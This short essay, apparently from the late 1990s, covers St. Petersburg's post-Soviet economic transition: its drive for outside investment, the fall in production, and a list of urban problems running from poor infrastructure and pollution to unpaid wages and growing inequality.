INCLUDEPICTURE \d "Image61.jpg"In the capitalist West, the current literature and discussion around St. Petersburg centers on possible economic investments and tourism within the city. Clearly, there is benefit for St. Petersburg in building international economic relationships. The local government has taken a very active role in recruiting outside investors. They have the lowest local taxes in Russia and now have to play the role of economic developer along with political representative. There are signs of capitalist infiltration into Russia. The "New Economy" has produced hope for some St. Petersburg residents. A new rich elite is emerging which was unable to exist under communism. Despite an element of economic progress, most St. Petersburg residents consider themselves worse off than they were 7 years ago. The 1996 production in the city was only 39.5% of what it was in 1991. Most people are making significantly less than they did under communism. INCLUDEPICTURE \d "Image62.jpg"The onset of capitalism has revealed many urban problems facing St. Petersburg. Not all of them are directly related to capitalism, but they must all be addressed under the system of it. Here are a few of St. Petersburg's most immediate concerns: The lack of significant and maintained infrastructure (namely an adequate housing stock, roads, port keep up, and flood control) Existence of a 2nd or gray economy (still focused mostly on defense, nuclear power and ship building- needs to be diversified in order to compete) Difficulty in maintaining the ornate historical center (many decrepit buildings in the central squares and beyond are not kept up) Low share of the population actually working (many people are on pensions or laid off from now nonexistent government jobs) Inadequate budget structure (unable to subsidize necessary services that it promises to provide) Poor environmental situation (pollution of Neva, industrial air pollution) Inconsistent wage schedules (many businesses or government agencies can simply not afford to pay their employees and don't) Growing social inequality (most of the time this is based on connections and luck rather than on true access to opportunity) The disregard of St. Petersburg's poorest residents (the government's attempt to "clean up" the city often means displacing poor residents) Lack of hope among many Russians (those who lived during the Communist era often see no future possibilities or place for them in this new world).
